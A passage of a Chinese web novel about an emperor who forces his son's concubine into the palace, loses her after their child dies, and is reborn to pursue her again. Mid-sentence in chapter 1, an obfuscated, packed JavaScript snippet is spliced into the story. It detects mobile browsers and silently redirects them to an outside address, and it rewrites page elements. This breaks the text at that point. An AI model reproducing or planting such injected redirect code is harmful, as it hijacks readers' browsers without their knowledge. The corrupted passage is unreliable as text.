《陛下重生后对我穷追不舍》 1. 前尘孽缘 昭华二十七年冬,京城飘起了大雪。 沐恩侯裹了裹身上的皮裘,在宫人谄媚的笑容下,抬了抬下巴,未曾把这些奴才放在眼里,大步走进了宫门。 等他走后,原本笑容谄媚的太监瞬间换了副嘴脸,面色嫌恶地朝地下呸了一口。 “呸,什么东西!不过是一个商贾,穿上官服就真把自己当老爷了!” 旁边小太监看到连忙制住他,“你不要命啦!” 他左顾右看,见四周无人注意才松一口气:“算了,谁让人家有个好女儿呢,只要贵妃娘娘在,谁又能拿他怎么样?” 原先那太监也只是心头一时不快这会儿也缓过来了,心里有些后怕。但是这天寒地冻的,难得有个消遣,他冲小太监招招手,示意他凑过来,小声说道:“我听说,贵妃娘娘像是不大好了。” 小太监吓得去捂他嘴:“这话你也敢乱说,前不久那事你忘了,宣政殿前的积血可是足足洗了三天才洗干净呢。” 三个月前,贵妃所生的九皇子瑞王殿下因风寒夭折,贵妃大悲之下昏迷不醒,陛下暴怒处置了好一批妃嫔宫人,前朝有劝谏的大臣也一并被拉了出去,连宣政殿前的白砖都染成了红色。这种场景只有七年前陛下下旨册封贵妃时才出现过,一时之间宫中人人自危,言行噤若寒蝉,直到贵妃三日后从昏迷中醒来,宫中的形势才稍微好转些。 陛下对贵妃的宠爱已经到了疯魔的地步,爱屋及乌,贵妃的生父也由一个普通商贾一跃进封为沐恩侯,宋氏一族因此风光无限,便是真正的公主王侯也莫敢与其争锋。 要是今日这话传到了陛下耳朵里,怕是要遭受千刀万剐之刑了。 回忆起当日的惨案,太监眼中出现惊骇之色,但是又想到后宫近日传出的风声,他胆子稍大了一些。 “我可不是瞎说,”他左右扫了一眼,压低声音道,“听说这几日太医频繁进出凤梧宫,陛下也辍朝从早到晚跟贵妃待在一起,说是……贵妃恐怕就在这几日了。” 宋氏一族可没有什么根底,全是仰仗着贵妃娘娘才有如今的体面,而宋氏族人平时里在京中嚣张跋扈,不少世家早看他不顺眼了。待贵妃娘娘一走无人相照,这宋家的荣华富贵可就要到头了。 小太监松开手,忍不住叹了口气:“其实贵妃娘娘也挺好的,从不打骂我们这些奴婢。”甚至多数时候陛下发怒,还是贵妃娘娘劝住的。 “红颜薄命啊……”太监也不禁感慨。想起曾见过的贵妃娘娘容颜,那可真真是一个绝世的美人,只是皱着眉头都要把人心给看化了,难怪陛下不顾非议也要将她纳入宫来千娇百宠着。 “只怕贵妃娘娘走后,宫中又要流许多血了。” 而他们奴才的命,却是最不值钱的。 另一头,沐恩侯终于来到凤梧宫。 他看着这满宫的金玉装饰,任意一样挑出来都是他没在别处见过的,对自家女儿的受宠程度又有了进一步的认知,同时心里也更加遗憾。 这瑞王殿下怎么好好的就病逝了呢,要是再过个十年,凭陛下对自家女儿的宠爱,皇位根本就是瑞王的掌中之物,到时候宋家的权势也能更进一层。 可惜啊可惜。他饮了一口茶,忍不住摇了摇头。 等了许久,宫女才扶着贵妃姗姗来迟,在上面落座。 “父亲怎么来了?” 听见声音,沐恩侯连忙放下茶盏,起身行礼:“臣拜见贵妃娘娘。” “父亲何必多礼,起来吧。” 他听着贵妃声音有气无力,像是在空中飘着似得,有些担忧地抬头,看到贵妃的模样之后更是大惊。他记得上次来的时候贵妃虽也是气色不好,可不像现下这样苍白消瘦,眼眶凹陷,黑黝黝的瞳孔一片死寂,即便这样也是容色动人,可太过冰冷像是个失去灵魂的木偶。 “贵妃娘娘现在可安好?”他担忧地询问。 “安好?”禅真望着父亲眼中不似作伪的紧张神色,歪了下脑袋轻笑道:“怎么不好了?有陛下在,我怎么会不好?” 沐恩侯见她精神似乎好了些才放下心,嘱咐道:“娘娘还得多注重下身体,切勿过于伤神。瑞王殿下的事臣也十分伤心,但是逝者已逝,更重要的还是活着的人。听闻娘娘昏睡这几日,陛下一直守着寸步不离,娘娘……” 禅真听他又开始絮絮叨叨,言语中不见为瑞王伤心,反而尽是为陛下说好话,心中一片冰冷。看,这就是她的好父亲,她的昭儿病逝她难过伤心在他看来反是不对,只有陛下的心情才是最重要的,她和昭儿算什么呢? “父亲,您今日来所为何事不妨直说。”禅真强撑起精神,出声打断他。 瞧见她面露不虞,沐恩侯悻悻地住嘴。 禅真不想跟他再纠缠下去,她和家里的关系并不像外面以为的那么好,父亲只念着他的荣华富贵,而她早看透了父亲的嘴脸不愿多管。 胸口突然涌上一股气,禅真抑制不住轻咳了两声,身边的宫女绿珠见状连忙捧上一杯热茶。禅真挥挥手,示意她退下。 沐恩侯却没注意到,他心里想着家中的嘱托,犹豫再三还是开了口。 “娘娘可还记得嘉音?” 嘉音?进宫太久,禅真又不愿与家里多接触,一时听见这个名字还真有些陌生。想了许久才有点印象,“是三叔家里的堂妹啊。” 禅真是外室子,八岁的时候才被父亲接回家里,那时候嘉音才出生没多久,小小的一团被三婶抱在怀里。她踮起脚好奇地去摸嘉音的小手,嘉音还向她笑,软乎乎的十分可爱,和她的昭儿一模一样。后来她因为容貌出色被父亲拘在院子里不许出门,和嘉音就没怎么再见过面了。 想到那个小时候和昭儿一样可爱的姑娘,禅真心里柔软了一些,面色也缓和下来。 “嘉音快要及笈了吧?稍后我让宫人备些贺礼,劳父亲一并带回去。” “多谢娘娘还记挂着,嘉音下个月就及笈了,臣先替她谢过娘娘恩赐。”沐恩侯见她言语中似乎对嘉音还颇为喜爱,心里顿时松了一口气,进一步试探道,“臣看娘娘对嘉音似乎有几分喜欢,不若叫嘉音进宫来陪伴娘娘数日,也好给娘娘解解乏。” 禅真没多想便拒绝了:“不必了,宫中规矩森严,她一个小姑娘怕是不适应。” 宫中并不是什么好地方,宫墙高大绵长,像一方牢笼,将所有人囚于其中,她自知此生都飞不出去了,又怎会将他人拉入其中。 沐恩侯一听她拒绝就着急了:“娘娘,您也得为自己考虑考虑啊。” 禅真听出他话中有话,似乎很想让嘉音进宫,一个猜想突然出现在脑海里,让她浑身冰冷。 “父亲,您是什么意思?” 沐恩侯也不藏着了,直接道:“瑞王殿下已经走了,娘娘如今膝下无子臣也十分悲痛。臣问过嘉音意见,嘉音自己也是愿意进宫帮衬娘娘的,等嘉音生下皇子,娘娘尽可以收到自己名下养育,陛下爱重娘娘,对这个孩子肯定也会十分喜爱……” “咳咳!”一股怒火直冲胸口,禅真忍不住捂住胸剧烈咳嗽起来,身体摇晃着就要倒下去。 “娘娘!”绿珠冲上前连忙扶住她,心里对沐恩侯也生了几分怨恨,回头冷声道,“侯爷,娘娘身体不适,奴婢要扶娘娘回去了。” 明晃晃地赶客。 沐恩侯很久没有被这样怠慢过,呵斥道:“大胆奴婢!” 绿珠还要还口,禅真伸手制住她,稍微缓过气来,抬头看向自己的父亲,满目凄然:“父亲,我的昭儿刚刚过世,您就迫不及待了吗?” 迫不及待要找人代替她,代替她的昭儿来维持宋家的荣华富贵。 沐恩侯不敢直视女儿的目光,犹自嘴硬:“臣可都是为了娘娘好啊!” 要不是瑞王早夭,要不是贵妃身体不佳,他也不会便宜了别人。 “是吗?”禅真落下泪来,从小遭受的总总苦楚涌上心头,她含泪质问,“将我当做工具培养是为我好?送我做晋王侍妾是为我好?逼迫我进宫是为我好?现在送嘉音进宫也是为我好?” 她恨,恨自己从小被抛弃在外院,恨自己回府后被锁在闺房无法出门,恨自己像货物一样被献上晋王床榻,恨自己被皇帝强娶入宫,更恨自己无法保住昭儿!她的昭儿,那么小那么乖,为什么上天要夺走他! 是她不知廉耻,是她迷惑君王,如果上天要惩罚就惩罚她好了,为什么要报应到她的昭儿身上。 听她提起晋王旧事,沐恩侯惊惧不已。 “娘娘,晋王已经是过去了您又何必提起,陛下若是知道……” “他知道又如何?”禅真已经不管不顾了,她只想将自己心中的恨意发泄出去,“他自己不知廉耻强夺子侍,凭什么不让人说,难道他以为捂住天下人的口,这件事就不存在吗?” “娘娘!”绿珠发现事态已经失控了,娘娘在入宫前曾为晋王殿下侍妾之事宫中已多年不曾提起,毕竟谁也不敢试探天子的怒火。可是现在提起的是娘娘,陛下宠爱娘娘自然无事,那受难的只能是他们这些宫人了。 “我不会让嘉音进宫!”禅真看向父亲,一字一句泪如雨下,“谁也不能代替我的昭儿!” 说完,她终于忍不住胸口的热气,一口腥甜从口中喷涌而出,身体也瘫软了下来。 “娘娘!”这下绿珠是真的急了,“快传太医!” 几夜未曾合眼的太医们再次兢兢战战地踏进了凤梧宫,而他们的陛下也不出意料地先一步守在了贵妃床边。 号完脉,太医正只感觉自己的心跳都随着这缓慢无声的脉搏停滞住了,贵妃这脉象…… “贵妃如何了?”陈定尧朝上到一半,听闻消息便匆匆赶来,现在朝服都未换下。他登基多年大权在握,气势正是盛极,为贵妃一事忧虑多日眼下虽一片青黑却并不显得疲倦,只是他眉头紧锁,锐利的眼中像是压抑着一股汹涌黑潮,排山倒海般的朝人扑面而来。 太医正不敢直视帝王的目光,直接扑通一声跪下了,“臣无能,娘娘已是回天乏术了!” 而后除帝王外,所有站着的人全都一起跪倒在地。 室内一片寂静,仿佛连空气都一起凝滞了,众人瑟瑟发抖,以为下一刻就会迎来帝王的滔天怒火。 然而帝王却似乎怔住了。 听到那句话的瞬间,他仿佛一下掉进了冰天雪地里,冷风呼啸着从他身边卷过,而他的心上也下起了雪,汹涌的黑潮都冻结了起来。 而后一抹红色浮现在他的视线里,他追逐着那抹红,看见了床上的女子。 她双目紧闭,脸上已经失去了血色,娇小的身体陷在锦被里,无论是爱是恨、是惊是惧,令他心动的那双眼睛都再也不会睁开看他。 良久,他合上了眼,再次睁开时已收敛了情绪,眼中冷若寒冰。 “究竟发生了什么?”他指向贵妃的贴身宫女,压抑着怒火问,“朕早上走时贵妃分明已有好转,为何短短一会儿功夫就变成这样?” 绿珠浑身都汗透了,陛下的目光像是恨不得将她千刀万剐。她尽力让自己的声音不要那么颤抖,小声将方才发生的事交待清楚。 然后沐恩侯就迎上了帝王仿佛要食人的目光,他双腿一片瘫软差点跪也跪不住,“陛下……” “你该死!”陈定尧气急一脚狠狠踹上他胸口,无论如何也没想到他竟胆大包天到如此,竟敢心存这种想法,还跑到贵妃面前说。 他多年习武,未登基时又曾亲上战场,这一脚他怒极之下几乎用了十成力,沐恩侯一下被踹了个头脚朝天。但他顾不上疼,连忙跪回来膝行到帝王脚下,大声磕头求饶声泪俱下:“臣知道错了,陛下恕罪,求您看在贵妃娘娘的面上饶了臣吧!” “你还敢提贵妃。”陈定尧怒极反笑,他指着沐恩侯骂道:“朕封你为沐恩侯是要你牢记住这是贵妃的恩宠,可你不仅不心存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251027|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感激,反而妄想要人取代贵妃的位置!真是好啊,好一个沐恩侯!” “陛下,陛下饶命!”沐恩侯现在除了饶命什么话都说不出来了。 陈定尧看着他那副嘴脸心中只有厌恶,这就是禅真的父亲,一个不慈不爱贪婪无耻之辈,他早该将他千刀万剐,以报禅真多年受苦之恨。 “来人,将他给朕拖下去!”他恨得咬牙切齿,一字一句道,“贵妃若有任何事,朕会让你们宋家全部下去给贵妃陪葬!” 沐恩侯脸色煞白,声音惊惧:“陛下!”他没想到陛下居然愤怒到这种地步,宋家可是贵妃的母家呀! “再敢多言一句扰了贵妃清净,朕拔了你的舌头。”陈定尧弯身掐住他的脖子冷声威胁道,见他果然住了嘴,才嫌弃地将他狠狠甩到一边。 而沐恩侯被拖下去时毫无反抗,脑海中只剩下一个想法。 完了,一切都完了。 连贵妃的亲父都是如此下场,其他人更不敢发出任何声音,生怕下一个遭殃的就是自己。 陈定尧心中一片怒火在燃烧,他找不到任何出口,在窗前暴躁地来回踱着步,看着跪倒一片的太医宫人,心中除了愤恨还有一股无力感。 为什么他已经是大权在握的帝王了,想要留下一个人还是这么艰难。 他想起初见时禅真跪倒在地瑟瑟发抖的样子,娇弱的让他第一次心生怜惜;想起她在猎场里不经意的回头,那一瞬间的惊艳;想起她在街上被马车惊吓不小心撞进自己怀中,抬头时眼神懵懂的如一只小鹿;更想起她被自己强迫进宫时,眼中的悲戚与绝望。 一股浓重的无力涌上他的心头,到底怎么做才能留下她? “陛下。” 一个幽幽的声音响起,让他瞬间得到了救赎。 “禅真!”陈定尧几乎立刻冲到了她的窗前,紧紧握住了她的手。 如果在平常,禅真必定是要甩开他的手,但此刻她实在没力气了。她目光扫过跪倒在地的众人,知晓他肯定又是发怒了。他是个不折不扣的暴君,从来说一不二独断专行,禅真不想自己在临终之际还害了人命。 “陛下,让他们都下去吧,不要伤害他们。” 他闭上眼,压制住内心薄发的怒火,尽量平心静气道:“朕都听你的。” 太医正退下时忍不住抹了把冷汗,终于活下来了,希望贵妃娘娘再多跟陛下说点好话,不然等娘娘走后不知道陛下又要怎么发疯。 终于人都清空了,房间里只剩下帝妃二人。 陈定尧握住她的手贴到耳边,她的手已经十分冰冷了,他用手紧紧捂着想把自己的体温传过去。 禅真平静地望着他,恍惚发觉她好像很久没有认真看过他的样子了,竟然不知道他的头上在什么时候已经添了几丝白发。她想起来,自己在最初还是很崇敬他的,毕竟他那时侯在她心中还是英明神武的陛下,如果后面不是他非要强迫她,她到现在应该都还是崇敬他的。 “陛下,我要走了。”她平静地开口。 一股莫名的冷意迅速贯彻了他全身,他心口像被捅了一个大洞,痛的他眼前一黑。然后他下意识握紧了她的手,不加思考地回复:“朕不会让你走。” 禅真却笑了,这是她第一次对他笑的如此柔软。 “陛下,这次您阻挡不了我了。”她抬头仰望着床顶,眼中充满喜悦,“我要去找昭儿了,我刚刚梦见他,他说他很想我。” 听见“昭儿”二字,他的心口再次遭受重击。 元昭,这是他遍阅诗书为他们的孩子取的名字,他曾满心期待着他的降世,手把手教他写字念书,甚至想过只要元昭长大到十八岁就把皇位传给他,而他则带着禅真四处游览名山大川,和她一起去看在他们孩子治理下的锦绣江山。 可他没能等到元昭长大成人的那一天。元昭夭折的那一刻他痛心不已,接着禅真悲伤下又一病不起,他没有精力再去为这个孩子伤神,只想着禅真一定要活下来。现在突然从禅真口中听到这个孩子的名字,那股巨大的悲伤又淹没住了他的胸口。 “你要去找昭儿,那朕呢?”他声音哽咽,看着她目光既爱又恨,“你还是恨我,想摆脱我。” 禅真毫不为他动容,淡淡道:“陛下,我们本就不该有这段孽缘。” 陈定尧怒极,又不舍得冲她发火,黑沉沉的眼睛死死盯着她:“禅真,你还觉得我们之间是孽缘?” 禅真原本再害怕他不过,现在要走了反而胆子大起来,许多之前不敢说的话也都倾泻而出。 “难道不是吗?我本来就是晋王的人,而您是晋王的父亲,您堵的住天下悠悠众口,可我心知肚明,这么多年我夜夜寝食难安。我甚至觉得,昭儿的夭折就是上天给我的报应。” “够了禅真!”陈定尧不想她再说下去,“朕是天子,即便是上天也报应不到朕的皇子头上来。是朕对不起云沂,朕知错但朕绝不后悔。” “可我后悔了。”禅真冷冷看着他,“我不该遇见晋王,更不该遇见您。” 陈定尧心头一震,一瞬间失去所有言语的能力。 禅真感觉很疲惫,她这一生,从被养在巷子里的外室子,到被拘在府中的宋家小姐,从晋王府上得宠的侍妾,再到名冠六宫的贵妃,她从来都是被抛弃,被强迫的那一个,没有一步路是她自己想要走的。 只有昭儿,是她主动选择让他降临到世上,可是昭儿最终也抛弃了她。 “我累了。”禅真缓缓合上眼,声若游丝,“陛下,您放过我吧……” 那只逐渐冰冷的手终于从他掌中落了下去,沉寂许久,一滴泪落在了床沿。 “禅真。”陈定尧低下头凑近她的面庞,他们之间的距离近若咫尺,可是只能感受到他自己的呼吸,那曾经令他魂牵梦绕的另一个气息已经消失了。他忽然放声大笑,眼中含泪似癫若狂。 “朕不会放你走,永远也不会!” 2. 陛下重生了 昭华十九年春,天子南巡。 几日连绵的春雨后,天空终于放晴,春风寄来一阵花香,十分醉人。 禅真坐在窗前手中捧着书卷,忽然听见外面一阵银铃般的笑声,嘻嘻闹闹的好不欢快。这下也没了读书的心思,她放下书卷倚着窗外眺望,可惜只瞧见了一丛茂盛的兰花。 “奴婢刚从外面回来,看见许姑娘正拉着其他姑娘们一起在院子里赏花呢。”秋月给她捧了一杯清茶过来,接着帮她把放下的书卷收好,问道,“是不是她们扰着姑娘呢?可需要奴婢去向太守大人报一声?” 虽然这些姑娘们明面上的待遇都是一样,可太守私下里嘱咐过宋姑娘这边要格外关照些,凡是都尽量随她的意。 禅真摇摇头,“人家玩闹的好好的,我才不要扫兴,你也不准跟太守大人说。” 秋月笑了,这位宋姑娘虽然静静地不爱说话,性格倒是很温和,她一开始听到太守的嘱咐还以为会是个很难伺候的主呢。 “姑娘在屋里闷了许久,不如也出去走走,奴婢看院子里的花都开了,一眼望去姹紫嫣红的十分漂亮呢。” 禅真有点动心,过去她被拘在家里,一直都很想出去走走,多瞧瞧不同的颜色和风景。可是想到其他姑娘们对她的排斥,每次她一出现原本热闹的场面顿时就冷却下来,叫她心里既难堪又难过。 她犹豫道:“我还是不去了吧,免得扫兴。” 她从小就不是个很受欢迎的人,便是家中的姐妹也都不爱跟她交往。她伸手摸了摸自己的脸庞,眼中出现几分迷茫。 有时候她都不清楚有这样一张脸究竟是好是坏。如果不是看中她的脸父亲就不会接她回家,或许她会和母亲一起冻死在那个破落的小院里,可是也因为这张脸,她只能被父亲拘在家里不准出门,长到现在连个亲近点的朋友都没有。 秋月见抚着脸庞怅然若失的模样,心里不免生起几分怜惜。宋姑娘可真是长了一副好相貌,她在太守府上伺候了这么多年,也从未见过这样的美人,眉目含情似愁带怨,真真是将人的心肠都给看化了。 她忍不住放轻声音安慰道:“姑娘不必与她们一般计较,太守府的园子大着呢,娘娘不愿跟她们碰面,咱们换个方向走就是了。” 这番话让禅真有些动容,也是好不容易从家里出来的,干嘛又要把自己关进屋子里呢,再说这样的机会以后估计就不多了。 她轻轻点头,“嗯,那麻烦你了。” 秋月是太守府的家生奴婢,自小就在府上当差对这园子十分熟悉,她引着禅真从小路走避开了其他人。 从屋里出来,闻着馥郁的花香,禅真心情果然开阔许多。太守府里种着许多名贵的花草,都是她在家里不曾见过的,样样都令她十分新奇。尤其是一枝芍药,花瓣层层叠叠,色彩艳丽,她忍不住凑近细看。 名花倾国两相欢。这副画面落入叶青堂眼中,让他想起了这句前朝旧诗。他踯躅再三,还是不忍上前惊扰了这美好的画面,还是秋月先看到了他。 “大公子。”秋月连忙向他行礼。 禅真心里一惊,抖落了手中的芍药,有些惊慌地回头,待看清是太守府上的大公子才稍缓过来,学着秋月行礼。 “见过大公子。” 叶青堂没想自己最终还是惊到了她,有些苦笑道:“无事,许久不见宋姑娘了,不知姑娘近日感觉可还好?若有不适可尽管说。” 尽管他语气温和,禅真还是稍稍后退了一步垂首看着地面,不太愿意对上他的视线。 “多谢大公子挂怀,禅真一切都好。” 说完便不言语了。 她有些后悔方才被秋月说动出门了。大公子是个好人,对她也十分关照,可是他们身份有别本就不该有过多接触。她想起之前跟她同日进府的一位林姑娘,不过是与二公子走的近些就传出了一些闲话,后来禅真就再没见到过她了。而她胆小,自那事以后更不爱出门,害怕自己也落得和林姑娘一样的下场。 叶青堂看她比之刚进府还要防备的样子,脸色不禁黯然。这么胆小娇怯的姑娘,却要被他的父亲送进那吃人的地方,怎么叫人放心的下。 “青堂听说,陛下不日便将落驾。”他神色复杂地看着女子,既有不忍也有一丝劝告,“姑娘若是不愿青堂会替姑娘向父亲求情。” 秋月大骇,这件事太守大人不是已经定下了吗?大公子怎么会转变了主题。她紧张地去看自家姑娘,真怕她一个冲动就答应了,林姑娘的事情还历历在目呢,太守对宋姑娘寄予厚望,肯定不会同意的。 禅真盯着脚下的小草,细嫩的叶片禁不起任何外力,轻轻一踩便折断了。 “多谢大公子好意,禅真已经做好了准备。” 她不愿意又如何呢?从来都不是她说了算,就算不被送上陛下的床榻,父亲也会想方设法为她再攀上一门权贵。空有美貌却无与之匹配的身份地位,她的未来一眼就看尽了,能够侍奉陛下就是她此生最好的选择了吧。 “禅真……”叶青堂忍不住唤她名字。 “大公子,禅真累了,需要先行告退。”禅真打断他。她能感受到这位叶公子兴许是对自己有几分好感的,不管是出于对她容貌的欣赏还是别到原因,他想要帮助她的这份心意她是很感激的,因此更要与他划清界限。 她是太守寻来准备进献给陛下的美人,他是太守府的大公子,仅此而已。 叶青堂感受到她话语里的拒绝,心中一片苦涩脸上却仍挂着笑:“那青堂就不打扰了,宋姑娘好好休息。” 经历了这件事,秋月也不敢再撺掇禅真出门闲逛了,连忙带着她回了住的小院。 禅真以自己累了想要休息为由,让秋月退了下去,确定秋月不会再进来房间,她才放心地一把扑到床上,任由压抑不住的泪水流下来,通红了眼眶。 她心里还是很害怕,说到底她才刚及笈而已,之前又一直被拘在家里不曾见过什么外人,现在马上就要被送上一个陌生人的床榻了,而这个陌生人还是高高在上,一句话就能决定她的生死的陛下。 听说陛下已经三十多岁了,比他大了好多,宫中还有那么多的妃嫔,见过那么多的美人,万一看不上她怎么办?而且陛下年轻时候上阵杀过敌,肯定是浑身煞气喜怒无常的,万一她侍奉的不好陛下会不会直接命人将她拖出去,到时候她还有什么后路能走呢? 或许她现在就应该学着怎么哭着求饶吧,说不定陛下看她哭的好看还能饶她一命。 禅真伏在床上脑海里胡思乱想着,渐渐地不自觉睡了过去。 …… 江面风平浪静,天子御驾龙舟沿着沂江南下,再行几日便可到达江南道附近。 内侍大太监郭开从船内走出,见陛下果然如先前小太监所说,屏退了众侍卫独自一人立在船头。 陛下年少登基,距今已有十九载,早已大权在握正值鼎盛之期。近些年陛下在朝政上越发独断,但凡定下一事就绝不容旁人置喙,连陪伴了陛下许多年的郭开都加倍谨慎,生怕触犯了陛下逆鳞。 前朝风起云涌,后宫也不遑多让,陛下虽不重欲但在美色上也从不委屈自己,早年纳了不少妃嫔。自康孝皇后去世后陛下再未立后,现宫中除贵妃外其余三妃位置已满,朝下更有受宠的九嫔婕妤若干。现今三妃之中贤妃育有皇长子豫王,淑妃育有皇二子晋王,德妃则养着宫中徐才人所生下的皇三子庄王,且三位皇子皆已长大成人,但陛下却迟迟没有立太子的意思,故三妃 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“照现在的速度,约莫着还有三四天就到了。”出行这几日,郭开发现陛下说是南巡,但又只是对江南道十分期待,可陛下登基这么多年也不止是一次来过江南,不知道这次又是什么原因吸引了陛下的兴趣。 “还有三四天。”只见陛下闭上眼感叹道,竟仿佛连这三四天都嫌久,迫不及待想着立即就登上江南似的,下一刻果听陛下吩咐,“加快速度,朕要在两天之内到达江南。” 郭开张了张口,试图劝阻,沂江流至江南地段虽水势平缓,但加快速度难免存在风险。他犹豫再三,想到陛下独断的性格还是放弃了开口,只能吩咐下去叫水师再加强巡查。 待郭开走后,陈定尧远望着江面许久,才缓缓念出一个名字。 “禅真……” 陈定尧没想到,自己睁开眼,竟然又重生回到了昭华十九年。他欣喜若狂又唯恐大梦一场,派人暗地在江南查询到禅真消息之后才真正放下心来。 前世他此时有意立晋王为储君,于是命晋王代驾南巡,而禅真便是晋王巡行至江南道时,被当地太守献上而后随他回京成为晋王府上的侍妾,陈定尧初见禅真已经是在那三个月之后了。 晋王独宠禅真招致淑妃不满,故淑妃将禅真召进宫磋磨了一番,而正巧当日他前去淑妃宫中,瞧见禅真被罚跪在太阳下。烈日炎炎,她脸颊被晒的红透,汗湿了衣襟,跪都跪不稳还强撑着向他叩头行礼。他居高临下,看见她腰肢细弱不盈一握,在他的注视下瑟瑟发抖,忽然就生起一阵怜惜,解救了她。 一开始他以为她是自己后宫中哪个未曾临幸的妃嫔,直到后面从淑妃口中得知她的身份,他才怅然若失地打消了念头。如果仅此一面,他或许也不会后来变得那么疯魔,非要将她得到手。 晋王宠爱她,无论是秋猎还是出巡都要将她带在身边。他在远处看着,她用依赖的目光对着晋王,欢喜地扑进他的怀中,眼睛灿若繁星,又让他想起了儿时随父皇打猎时曾在山林间错失的那只小鹿,一股强烈的不甘越积越烈。 他要得到她,不惜一切代价。 “哈哈。”他低头看着自己的手掌,用力握紧,仿佛这样就能将她永远攥在手中,“禅真,你说我们之间是孽缘,可朕重生回来了,是上天再给了朕一次机会。” 回想起前世她临走之际说的话,他胸口一痛,爱意与恨意几乎同时涌了上来。 “你爱过云沂,爱过昭儿,唯独对朕太过狠心,明明朕才是陪伴你最久付出最多的那个。” 不过还好,这一世她还未成为云沂的侍妾,一切都来得及。前世她无非是怨恨他违背人伦强取豪夺,重来一世他已抢占先机,至少她不会再像前世那样对他诸多排斥。 “等着朕,禅真,朕已经迫不及待想见到你了。” 3. 陛下迫不及待了 接到陛下的命令,底下是苦不堪言,本来行舟速度就够快了,陛下还要再加快,到时候万一风浪变大出了问题谁担当得了。 统帅方问一脸苦相地问他:“公公,要不您再去劝劝陛下?” 郭开挥挥手,“咋家要是能劝住陛下还用你说,就先照陛下说的办吧,再多派些水性好的加强巡查。” “唉。”方问摸摸后脑勺,他跟郭开共事多年关系也算不错了,有些事就大方开口,“你跟在陛下身边时间最长,也不知道陛下最近是怎么了,这心思说变就变。” 郭开瞪他一眼,“陛下的心思哪是咱们能揣测的,你快去盯着点下面的人,别让咋家抓住那些个阴奉阳违偷奸耍滑的。” 方问也不恼,反而凑过来悄悄问他:“据说江南多美人,你说陛下是不是为了那些江南美人来的,这南巡一趟,身边连一位妃嫔也没带,稀罕事儿啊。” 他可听说了,陛下离宫前也是有一个月多都没召幸妃嫔了,这再加上南巡一来一往的陛下不得素上好几个月。 郭开瞧着周围奴才们都在干着自己的事,没敢往这边瞅,他才压低声音道:“咋家也正纳闷呢,出发前杨婕妤去求了好几回陛下都没应,下面那些美人才人们也都眼巴巴地盼着,看杨婕妤这样的新宠都被拒了,这才歇了念头。” 他原本还担心是不是陛下生了什么疾病,可他有几次偶然夜里从床帐外听见陛下的声响,听来陛下火气还旺者呢,思来想去估计是宫里这批老人陛下都看倦了,想去外面寻些新鲜。 “嘿。”方问摸摸下巴,“这位杨婕妤得宠也有个两三年了吧,也是快到了失宠的时候。” 陛下在女色上并不荒唐,更多的精力都是用到了朝堂上,后宫妃嫔大都是作为闲暇时的消遣。登基将近二十年,大大小小的得宠过的妃嫔也不少,除了三妃和几个生育过皇嗣的妃嫔地位比较稳固外,其他的宠上没多久就抛到了脑后。作为近臣,看到陛下勤于政事不流连后宫,他自然是高兴的,反正现在陛下的皇子也不少不愁后继无人。 “杨婕妤得不得宠的跟咱们也没关系,什么时候三妃都倒下了才轮得到咱们操心呢。” 三位已经成长的皇子在前朝斗的不可开交,三妃在后宫也互相看不顺眼,经常彼此使绊子,陛下都睁一只眼闭一只眼的,只要不闹出大乱子都随她们去。他们这位陛下,说残酷是真残酷,但凡触碰到他的底线不管你什么身份,统统都拉出去砍了丝毫不留情面,但是只要做的不过火,他又会给你留几分余地。 “唉,不行我得亲自出去探查探查,陛下那边要是还有什么吩咐你再找我说。”聊的差不多方问挥挥手,大步跨出了船舱。 …… 所幸江南水势平稳,一路上并没有什么差错,御船终于在两日内抵达了江南道。 江南太守叶文远早已做好接驾准备,带人在岸边后者,见御船靠岸,连忙带着众人跪下迎驾。 “臣叶文远拜见陛下,陛下万岁万岁万万岁!” 陈定尧自船上走出,见到跪在前方的叶文远,心中一时复杂起来。就是这个家伙前世将禅真献给了晋王,想到禅真曾经对晋王百般依赖,他恨的想要一刀砍了这个始作俑者的脑袋,今世若不出意外,他还会故技重施,只不过对象从晋王换成了他。想想还是罢了,禅真本来就畏惧他,他再一落地就砍了人,禅真估计更不愿意靠近他了。 “平身。”他淡淡道。 马上就能见到禅真,这次他得给禅真留个好印象,至少让她不要再那么害怕。 叶文远颤颤巍巍地起身,不知道是不是错觉,方才有那么一瞬他似乎感受到陛下对他露出了一丝杀意。可是现在瞧着陛下面色平静,甚至眉目间隐隐透出一分欣喜,并不像是有什么不满。 帝王心果然高深莫测啊。 他虚抹了把冷汗,恭敬道:“臣已经为陛下准备好了居所,劳陛下这些时日在臣府上暂且居住。” 陈定尧这时心情不错,便畅快地点点头:“在前方带路吧。” “臣遵命。” 叶文远引着帝驾前往府上,又亲自将帝王带到之前便备好的院落,一路上他不停观察陛下脸色,生怕陛下对他的布置有任何不满。所幸陛下今日似乎心情不错,并未提出什么意见,让他稍微松了口气。 安置完帝王一行,天色渐暗,府中管事过来禀报晚上的宴席已经备好。叶文远避开皇帝,小声询问:“后院的那些美人可都备好歌舞了?” 管事面露难色:“宋姑娘那边好像出了些问题,秋月刚刚来说不知是谁把宋姑娘原本的舞衣给剪坏了。” 叶文远顿时冷了脸,“左不过是那些女人勾心斗角,之前不是吩咐过宋姑娘那边要多注意点,晚上宴席结束你自己去领二十大板。” “是,老奴知错。”管事点头哈腰,不敢有半分怨言,“那今晚上还让宋姑娘露面吗?” 叶文远沉思片刻,宋姑娘是他精心挑选出来的美人,肯定是要进献给陛下的,但是时机还得再挑下,必须要让陛下一眼相中带回宫去这才有意义。 “再安排吧,今晚先让其他的出来。”他挥挥手,不等管事转身又叫住,“宋姑娘那边你再亲自去安抚一下,叫她不要多想。” 他在这江南道已经做了太久的太守,想要再往前一步就看这次接驾能不能合陛下心意了。 “是,奴才遵命。”管事不敢耽搁,立马赶去了宋姑娘的小院。里面秋月抱着被剪坏的舞衣一脸愤恨,而宋姑娘本人神情却是淡淡的,看不出有多失落。 他把宋姑娘今晚不用去侍宴多事交待清楚,便看秋月立刻红了眼,为自家姑娘谋不平。 